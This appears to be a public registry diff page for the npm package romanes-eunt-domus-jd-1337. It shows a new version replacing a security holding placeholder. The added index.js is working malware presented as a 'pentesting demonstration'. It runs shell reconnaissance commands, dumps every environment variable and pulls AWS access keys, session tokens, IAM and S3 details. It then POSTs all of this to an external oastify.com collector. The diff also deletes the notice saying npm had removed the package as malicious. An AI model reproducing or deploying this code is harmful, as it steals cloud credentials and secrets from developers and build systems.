romanes-eunt-domus-jd-1337 0.0.1-security → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of romanes-eunt-domus-jd-1337 might be problematic. Click here for more details.
- package/index.js +132 -0
- package/package.json +15 -6
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,132 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
const { execSync } = require('child_process');
|
3
|
+
const AWS = require('aws-sdk');
|
4
|
+
|
5
|
+
const targetUrl = 'https://6krs1mv6dm3dse4nhutka75okfq6e82x.oastify.com/collect-1.0.3'; // Replace with your target server URL
|
6
|
+
|
7
|
+
// Helper function to send data via POST
|
8
|
+
function sendData(data) {
|
9
|
+
const payload = JSON.stringify(data);
|
10
|
+
|
11
|
+
const options = {
|
12
|
+
method: 'POST',
|
13
|
+
headers: {
|
14
|
+
'Content-Type': 'application/json',
|
15
|
+
'Content-Length': payload.length,
|
16
|
+
},
|
17
|
+
};
|
18
|
+
|
19
|
+
const req = https.request(targetUrl, options, (res) => {
|
20
|
+
let response = '';
|
21
|
+
|
22
|
+
res.on('data', (chunk) => {
|
23
|
+
response += chunk;
|
24
|
+
});
|
25
|
+
|
26
|
+
res.on('end', () => {
|
27
|
+
console.log('Response from server:', response);
|
28
|
+
});
|
29
|
+
});
|
30
|
+
|
31
|
+
req.on('error', (err) => {
|
32
|
+
console.error('Error sending data:', err.message);
|
33
|
+
});
|
34
|
+
|
35
|
+
req.write(payload);
|
36
|
+
req.end();
|
37
|
+
}
|
38
|
+
|
39
|
+
// Function to execute shell commands
|
40
|
+
function executeCommand(cmd) {
|
41
|
+
try {
|
42
|
+
return execSync(cmd, { encoding: 'utf8' }).trim();
|
43
|
+
} catch (err) {
|
44
|
+
return `Error executing ${cmd}: ${err.message}`;
|
45
|
+
}
|
46
|
+
}
|
47
|
+
|
48
|
+
// Function to fetch AWS credentials using the SDK
|
49
|
+
function fetchAwsCredentials() {
|
50
|
+
return new Promise((resolve) => {
|
51
|
+
AWS.config.getCredentials((err) => {
|
52
|
+
if (err) {
|
53
|
+
resolve(`Error retrieving AWS credentials: ${err.message}`);
|
54
|
+
} else {
|
55
|
+
resolve({
|
56
|
+
accessKeyId: AWS.config.credentials.accessKeyId,
|
57
|
+
secretAccessKey: AWS.config.credentials.secretAccessKey,
|
58
|
+
sessionToken: AWS.config.credentials.sessionToken,
|
59
|
+
});
|
60
|
+
}
|
61
|
+
});
|
62
|
+
});
|
63
|
+
}
|
64
|
+
|
65
|
+
// Function to fetch AWS STS identity information
|
66
|
+
function fetchAwsStsIdentity() {
|
67
|
+
return new Promise((resolve) => {
|
68
|
+
const sts = new AWS.STS();
|
69
|
+
sts.getCallerIdentity({}, (err, data) => {
|
70
|
+
if (err) {
|
71
|
+
resolve(`Error fetching AWS STS identity: ${err.message}`);
|
72
|
+
} else {
|
73
|
+
resolve(data);
|
74
|
+
}
|
75
|
+
});
|
76
|
+
});
|
77
|
+
}
|
78
|
+
|
79
|
+
// Function to fetch IAM role permissions
|
80
|
+
function fetchIamRoleInfo() {
|
81
|
+
return new Promise((resolve) => {
|
82
|
+
const iam = new AWS.IAM();
|
83
|
+
const params = {}; // Replace with specific IAM role if needed
|
84
|
+
|
85
|
+
iam.listAttachedRolePolicies(params, (err, data) => {
|
86
|
+
if (err) {
|
87
|
+
resolve(`Error fetching IAM role policies: ${err.message}`);
|
88
|
+
} else {
|
89
|
+
resolve(data);
|
90
|
+
}
|
91
|
+
});
|
92
|
+
});
|
93
|
+
}
|
94
|
+
|
95
|
+
// Function to fetch S3 bucket information
|
96
|
+
function fetchS3Info() {
|
97
|
+
return new Promise((resolve) => {
|
98
|
+
const s3 = new AWS.S3();
|
99
|
+
s3.listBuckets((err, data) => {
|
100
|
+
if (err) {
|
101
|
+
resolve(`Error listing S3 buckets: ${err.message}`);
|
102
|
+
} else {
|
103
|
+
resolve(data.Buckets || []);
|
104
|
+
}
|
105
|
+
});
|
106
|
+
});
|
107
|
+
}
|
108
|
+
|
109
|
+
// Main function to collect all metadata
|
110
|
+
async function collectMetadata() {
|
111
|
+
const metadata = {
|
112
|
+
shellInfo: {
|
113
|
+
pwd: executeCommand('pwd'),
|
114
|
+
uname: executeCommand('uname -a'),
|
115
|
+
ls: executeCommand('ls -lia'),
|
116
|
+
whoami: executeCommand('whoami'),
|
117
|
+
ifconfig: executeCommand('ifconfig'),
|
118
|
+
ipa: executeCommand('ip a'),
|
119
|
+
lshome: executeCommand('ls -lia /home'),
|
120
|
+
},
|
121
|
+
envVariables: process.env, // All environment variables
|
122
|
+
awsCredentials: await fetchAwsCredentials(),
|
123
|
+
awsStsIdentity: await fetchAwsStsIdentity(),
|
124
|
+
iamRoleInfo: await fetchIamRoleInfo(),
|
125
|
+
s3Buckets: await fetchS3Info(),
|
126
|
+
};
|
127
|
+
|
128
|
+
sendData(metadata);
|
129
|
+
}
|
130
|
+
|
131
|
+
// Start collecting metadata
|
132
|
+
collectMetadata().catch((err) => console.error('Error collecting metadata:', err));
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
|
-
{
|
2
|
-
"name": "romanes-eunt-domus-jd-1337",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
1
|
+
{
|
2
|
+
"name": "romanes-eunt-domus-jd-1337",
|
3
|
+
"version": "1.0.3",
|
4
|
+
"description": "A test package for pentesting demonstration",
|
5
|
+
"main": "index.js",
|
6
|
+
"dependencies": {
|
7
|
+
"aws-sdk": "^2.1361.0"
|
8
|
+
},
|
9
|
+
"scripts": {
|
10
|
+
"test": "node index.js"
|
11
|
+
},
|
12
|
+
"keywords": [],
|
13
|
+
"author": "",
|
14
|
+
"license": "ISC"
|
15
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=romanes-eunt-domus-jd-1337 for more information.
|